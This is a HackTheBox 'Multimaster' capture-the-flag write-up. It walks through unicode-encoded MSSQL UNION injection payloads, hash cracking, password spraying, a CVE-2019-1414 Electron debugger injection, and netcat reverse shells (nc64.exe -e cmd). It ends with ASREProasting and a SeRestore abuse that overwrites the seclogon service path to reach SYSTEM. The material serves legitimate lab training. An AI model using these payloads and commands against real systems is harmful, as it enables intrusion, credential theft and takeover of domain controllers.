Multimaster is an insane level box on HackTheBox that was pretty difficult. It used a variety of technologies and techniques in order to gain Domain Admin. There wasn’t a significant emphasis on the Active Directory aspect, but it was still very interesting and helped me refine some of my skills.



An nmap scan, followed by a full port and script scan, reveals the following information:

53/tcp   open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 403 - Forbidden: Access is denied.
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-04-18 02:37:10Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds  Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
| Not valid before: 2022-04-17T02:28:51
|_Not valid after:  2022-10-17T02:28:51
|_ssl-date: 2022-04-18T02:39:26+00:00; +14m29s from scanner time.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h59m29s, deviation: 3h30m01s, median: 14m28s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: MULTIMASTER
|   NetBIOS computer name: MULTIMASTER\x00
|   Domain name: MEGACORP.LOCAL
|   Forest name: MEGACORP.LOCAL
|_  System time: 2022-04-17T19:39:27-07:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2022-04-17 19:39:30
|_  start_date: 2022-04-17 19:28:58

A pretty standard domain controller. The isn’t anything too interesting, except for the website. It seems like a mostly static, custom site, with a non-functional login page, but then there is a Colleague Finder function that seems to be very odd.

After fuzzing around it for a bit, it seems there’s a WAF intended against SQL injection, entering a blank entry causes all colleagues to appear, and that requests send hits to an API endpoint.

POST /api/getColleagues HTTP/1.1
Content-Length: 15
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


After trying out some WAF bypass tecniques, I found that unicode encoding works. Using Cyber Chef, I was able to make a successful injection under the “name” POST value.

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 22 Apr 2022 03:54:01 GMT
Connection: close
Content-Length: 1821

[{"id":1,"name":"Sarina Bauer","position":"Junior Developer","email":"sbauer@megacorp.htb","src":"sbauer.jpg"},{"id":2,"name":"Octavia Kent","position":"Senior Consultant","email":"okent@megacorp.htb","src":"okent.jpg"},

Something to note is that in our injections, we have visible output returned to us. We abuse this with UNION injection, a technique that is similar to combining multiple select statements. The results of the UNION statement must have the same amount of columns returned to us, and since there are 5 parameters returned normally (id, name, position, email, and src), it’s safe to assume our UNION statement should have 5 columns or return values, too. Additionally, to kill two birds with one stone, I’ll use a call to the “@@version” variable to see if the database is MSSQL. Using the following payload (unencoded),

something' UNION select 1,2,3,4,@@version;--

we get this output:

[{"id":1,"name":"2","position":"3","email":"4","src":"Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64) \n\tAug 22 2017 17:04:49 \n\tCopyright (C) 2017 Microsoft Corporation\n\tStandard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)\n"}]

We can confirm we have MSSQL UNION injection. I proceeded to use the following unencoded payloads to enumerate the database:

something' UNION select 1,2,3,4,name from master.dbo.sysdatabases;--
something' UNION select 1,2,3,4,table_name from Hub_DB.INFORMATION_SCHEMA.TABLES;--
something' UNION select 1,2,3,4,COLUMN_NAME from Hub_DB.INFORMATION_SCHEMA.COLUMNS where table_name = 'Logins';--

I tried using “sqlmap” at first, but it appears this website will temporarily ip ban us if we hit it with too many requests, so I did this manually. The first payload returns to us all of the databases on the service; I learned that our database was named “Hub_DB”. The second statement enumerated the tables of our database and returned to us the “Logins” table (ours was the “Colleagues” table). The last payload enumerated the columns of the “Logins” table, returning “id”, “password”, and “username”. Since we’re already in the “Hub_DB” database, we can just have our UNION statement directly pull from the columns of the “Logins” table with the following payload:

something' UNION select 1,1,id,password,username from Logins;--

This returns to us a lot of valuable information:


Time to crack some hashes! It was a bit tough to find the hash type, but it was some form of SHA-384. After trying that and failing, I checked hashcat examples and tried the “Keccak-384” format, mode 17900. This works, and the following hashes were cracked:


Time to spray them with “crackmapexec”. We already have a userlist from our UNION injection, so we can just compile a userlist and password list and feed it into the tool

└─# crackmapexec smb -u users.txt -p pass.txt --continue

However, none of them work. There is a possibility that there are more users than just those from the UNION injection. Also, it turns out you can enumerate AD users via MSSQL, so it looks like that must be the play here. MSSQL can actually pull the SID of a domain object while also matching a SID to a domain object, but these are in a certain hex format. By pulling a domain object SID and truncating it to obtain the domain SID, it is possible to convert a relative id (RID) and append it to the domain SID to perform a lookup and enumerate a domain object. Rather than brute forcing the users ourselves, the article also conveniently has a script for this. The script was really buggy, though; first, it couldn’t parse the HTTP request correctly, so I had to hard-code the host in the code in line 296 (url = ''). Secondly, it wasn’t returning the domain users (despite the api returning them when I checked wireshark).

I had to modify the code on line 379, where the username is declared. I simply made it print the username (print(username)), and now I got a list of users (and groups) on my hand by running the script like so:

└─# python3 -i "something'" -rid 1100-1200 -p name -r request.txt -t 4 -e unicode

[+] Enumerating Active Directory via SIDs...
MEGACORP\\Privileged IT Accounts

I specified the rid to start at 1100, because thats where domain users typically begin. We also had to specify a sleep time because of the ip banning. Lastly, there is a convenient option to unicode the paylods to bypass the WAF. Adding these users to the list, I rerun my spray from before, and we get a hit!

└─# crackmapexec smb -u users.txt -p pass.txt
SMB    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB    445    MULTIMASTER      [-] MEGACORP.LOCAL\tushikikatomo:password1 STATUS_LOGON_FAILURE 
SMB    445    MULTIMASTER      [-] MEGACORP.LOCAL\tushikikatomo:banking1 STATUS_LOGON_FAILURE 
SMB    445    MULTIMASTER      [+] MEGACORP.LOCAL\tushikikatomo:finance1

As with all AD boxes, I immediately ran “bloodhound-python” to enumerate the domain, and I also managed to WinRM in.

└─# evil-winrm -i -u tushikikatomo -p finance1

Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github:
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alcibiades\Documents>
└─# bloodhound-python -u 'tushikikatomo' -p 'finance1' -d megacorp.local -ns -c all

INFO: Found AD domain: megacorp.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 27 users
INFO: Found 56 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Done in 00M 21S

Putting the data in “bloodhound”, we see this:

Our user, tushikikatomo is able to remotely access the computer via WinRM. There is another user, sbauer, that has “GenericWrite” on jorden, meaning that they write some properties, such as “DONT_REQ_PREAUTH”, onto jorden, making them ASREProastable. Lastly, jorden is a Server Operator, which is a group that can easily escalate privileges via SeRestore and SeBackup privileges. It seems our path is to make our way to sbauer so we can gain access to jorden, leading us to compromise the domain controller. Let’s get started.


In my evil-winrm session, I try to enumerate some privilege escalation vectors with winpeas, but there seems to be some form of AV detecting it. After looking at the groups in the domain, I noticed there was a “developer” group, which stuck out to me since it isn’t a default group. Additionally there is Microsoft VS Code running, which makes sense based on the group name. I looked for privilege escalation related to VS code, and found CVE-2019-1414. Basically, applications running under the Electron framework in VS code have their debugger port enabled locally by default and javascript can be injected into this port. More details can be found on this article. Within my WinRM session, I enumerated the processes running via “ps” (its pretty neat too, since it sometimes works when I don’t have permissions for tasklist).

*Evil-WinRM* PS C:\Users\alcibiades\Documents> ps                                                                     
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    413      22    17332       7060               404   1 Code         
    657      47    32448      67628              1704   1 Code       
    318      32    40896      26752              2656   1 Code       
    404      54    95240      89440              3756   1 Code    
    403      53    94484      40424              4568   1 Code    
    214      15     6112       4188              5092   1 Code   
    278      51    57672      74616              5320   1 Code    
    277      51    57812      44980              5716   1 Code    
    276      51    57560      14608              6624   1 Code       
    404      55    96472     135636              6760   1 Code 

And then I checked listening TCP ports

*Evil-WinRM* PS C:\Users\alcibiades\Documents> netstat -anop TCP

Active Connections
  TCP               LISTENING       2428
  TCP              LISTENING       3408
  TCP              LISTENING       5320
  TCP              LISTENING       5716
  TCP              LISTENING       6624

It seems pretty likely that there is an Electron application running; notice how process 5716, “Code”, is also listening locally on 4517/tcp. This Github repo has a tool that automatically detects a port and is able to inject into it. I’ll upload the tool and use a ping test to see if it works.

*Evil-WinRM* PS C:\Users\alcibiades\Documents> .\cefdebug.exe
cefdebug.exe : [2022/04/21 23:25:05:9854] U: There are 6 tcp sockets in state listen.
    + CategoryInfo          : NotSpecified: ([2022/04/21 23:...n state listen.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
[2022/04/21 23:25:26:0629] U: There were 4 servers that appear to be CEF debuggers.
[2022/04/21 23:25:26:0629] U: ws://
[2022/04/21 23:25:26:0629] U: ws://
[2022/04/21 23:25:26:0629] U: ws://
[2022/04/21 23:25:26:0629] U: ws://

*Evil-WinRM* PS C:\Users\alcibiades\Documents> ./cefdebug.exe --url ws:// --code "process.mainModule.require('child_process').exec('ping /n 2')"
cefdebug.exe : [2022/04/21 23:25:57:5773] U: >>> process.mainModule.require('child_process').exec('ping /n 2')
    + CategoryInfo          : NotSpecified: ([2022/04/21 23:... 2'):String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
[2022/04/21 23:25:57:5773] U: <<< ChildProcess

└─# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
02:02:14.170085 IP bruh.htb > ICMP echo request, id 1, seq 1, length 40
02:02:14.170110 IP > bruh.htb: ICMP echo reply, id 1, seq 1, length 40
02:02:15.129116 IP bruh.htb > ICMP echo request, id 1, seq 2, length 40
02:02:15.129130 IP > bruh.htb: ICMP echo reply, id 1, seq 2, length 40

Sweet, it works, despite the errors being shown. I can’t upload an msfvenom payload because of the antivirus, but it seems a netcat binary works.

*Evil-WinRM* PS C:\Users\alcibiades\Documents> upload nc64.exe
Info: Uploading nc64.exe to C:\Users\alcibiades\Documents\nc64.exe

Data: 60360 bytes of 60360 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\alcibiades\Documents> ls

    Directory: C:\Users\alcibiades\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/21/2022  11:04 PM         259584 cefdebug.exe
-a----        4/21/2022  11:28 PM          45272 nc64.exe

Now all I have to do it just spin up a listener and catch the shell. I also need to put the netcat binary in a globally accessible folder, so whoever is running VScode can actually access the binary.

*Evil-WinRM* PS C:\Users\alcibiades\Documents> ./cefdebug.exe
cefdebug.exe : [2022/04/21 23:32:44:9695] U: There are 5 tcp sockets in state listen.
    + CategoryInfo          : NotSpecified: ([2022/04/21 23:...n state listen.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
[2022/04/21 23:33:05:0479] U: There were 3 servers that appear to be CEF debuggers.
[2022/04/21 23:33:05:0479] U: ws://
[2022/04/21 23:33:05:0479] U: ws://
[2022/04/21 23:33:05:0479] U: ws://
*Evil-WinRM* PS C:\Users\alcibiades\Documents> mkdir \bruh

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        4/21/2022  11:33 PM                bruh

*Evil-WinRM* PS C:\Users\alcibiades\Documents> copy nc64.exe \bruh\
*Evil-WinRM* PS C:\Users\alcibiades\Documents> ./cefdebug.exe --url ws:// --code "process.mainModule.require('child_process').exec('\\bruh\\nc64.exe -e cmd 445')"
cefdebug.exe : [2022/04/21 23:33:39:0457] U: >>> process.mainModule.require('child_process').exec('\\bruh\\nc64.exe -e cmd 445')
    + CategoryInfo          : NotSpecified: ([2022/04/21 23:... 445'):String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
[2022/04/21 23:33:39:0457] U: <<< ChildProcess

└─# rlwrap nc -nvlp 445                                                                                                                   
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Program Files\Microsoft VS Code>whoami

it seems we’ve reached another user, but not quite the one we want (sbauer). This one also appears to be in the “Developers” group. Like last time, there’s no winpeas, but after manually enumerating some files and ACLs, I did notice that this user has access to the webroot directory. Remember how MSSQL is running? Theoretically, there should be some sort of file here that makes the connection to the database, and that file should have the creds to the database which we can spray. Although there are no .aspx files, I found it odd that there was a “bin” folder.

Directory of C:\inetpub\wwwroot

01/07/2020  10:28 PM    <DIR>          .
01/07/2020  10:28 PM    <DIR>          ..
01/07/2020  10:28 PM    <DIR>          aspnet_client
01/07/2020  10:28 PM    <DIR>          assets
01/07/2020  10:28 PM    <DIR>          bin
01/07/2020  10:28 PM    <DIR>          Content
01/07/2020  11:50 PM    <DIR>          css
01/06/2020  05:49 PM             3,614 favicon.ico
01/07/2020  10:28 PM    <DIR>          fonts
01/06/2020  11:36 PM                98 Global.asax
01/07/2020  10:28 PM    <DIR>          images
01/07/2020  10:28 PM    <DIR>          img
01/07/2020  11:52 PM             1,098 index.html
01/07/2020  11:50 PM    <DIR>          js
01/07/2020  10:28 PM    <DIR>          Scripts
01/07/2020  10:28 PM    <DIR>          Views
01/09/2020  05:13 AM             3,640 Web.config
               4 File(s)          8,450 bytes
              13 Dir(s)   6,584,827,904 bytes free


Most of the files, based on their modification date, seem to be default. But there are two that stick out to me due to their name and modification date; the MultimasterAPI files. I’ll copy them over to my Kali machine by hosting an smb server with “impacket” and I’ll try to decompile them.

└─# impacket-smbserver share . -smb2support                                                                           

I ran “strings” multiple times with different encodings, and found that 16 bit encoding nets something useful

└─# strings -eb apidll


It seems this is how the webpage was able to communicate and make SQL queries. Spraying this password in a similar fashion as before gives us a hit to sbauer, and we can now utilize WinRM for a shell.

Privilege Escalation

Time to continue our kill chain. I could use my GenericWrite as sbauer over jorden to make him ASREProastable and crack the hash if jorden has a weak password.

*Evil-WinRM* PS C:\Users\sbauer\Documents> get-aduser 'jorden' | set-adaccountcontrol -doesnotrequirepreauth 1

└─# impacket-GetNPUsers megacorp.local/'sbauer':'D3veL0pM3nT!' -dc-ip -request
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Name    MemberOf                                      PasswordLastSet             LastLogon  UAC      
------  --------------------------------------------  --------------------------  ---------  --------
jorden  CN=Developers,OU=Groups,DC=MEGACORP,DC=LOCAL  2020-01-09 19:48:17.503303  <never>    0x410200 


And the hash manages to crack to:


And we can evil-winrm our way in. Remember that jorden is in the Server Operators group, so we have the following privileges.

*Evil-WinRM* PS C:\Users\jorden\Documents> whoami /priv


Privilege Name                Description                         State
============================= =================================== =======
SeMachineAccountPrivilege     Add workstations to domain          Enabled
SeSystemtimePrivilege         Change the system time              Enabled
SeBackupPrivilege             Back up files and directories       Enabled
SeRestorePrivilege            Restore files and directories       Enabled
SeShutdownPrivilege           Shut down the system                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Enabled
SeTimeZonePrivilege           Change the time zone                Enabled

There are many ways to go about this. My personal choice is leverage the SeRestore privilege only; users with this privilege have write access to any file and registry keys on the system. All users can start the seclogon service, so we can overwrite the registry key specifying its image path, and then start it for a shell. Since this will prompt us to confirm if we want to overwrite its current image path, we need a normal reverse shell. I’ll call netcat to gain a reverse shell, overwrite the key, then start the service and listen to catch a SYSTEM shell.

*Evil-WinRM* PS C:\Users\jorden\Documents> \bruh\nc64.exe -e cmd.exe 4444

C:\Users\jorden\Documents> reg add hklm\system\currentcontrolset\services\seclogon /v imagepath /t reg_sz /d "\bruh\nc64.exe -e cmd.exe 4444"

Value imagepath exists, overwrite(Yes/No)? y
The operation completed successfully.

C:\Users\jorden\Documents>sc start seclogon

└─# rlwrap nc -nvlp 4444
Ncat: Version 7.92 ( )
Ncat: Listening on :::4444
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

nt authority\system

Our shell dies after a while because the service thinks its failing to start, but we basically have a shell.


This was a pretty cool box since there was a lot of interesting attack vectors. The Electron CVE and reading into the binaries of the IIS server caught my eye in particular. Also, its always fun getting to practice some tough UNION injection. Like Sizzle, this box was also vulnerable to ZeroLogon which was tempting to abuse. This box isn’t doesn’t have as much Active Directory as I would have expected, but I think its still a solid box.

-Dylan Tran 4/22/2022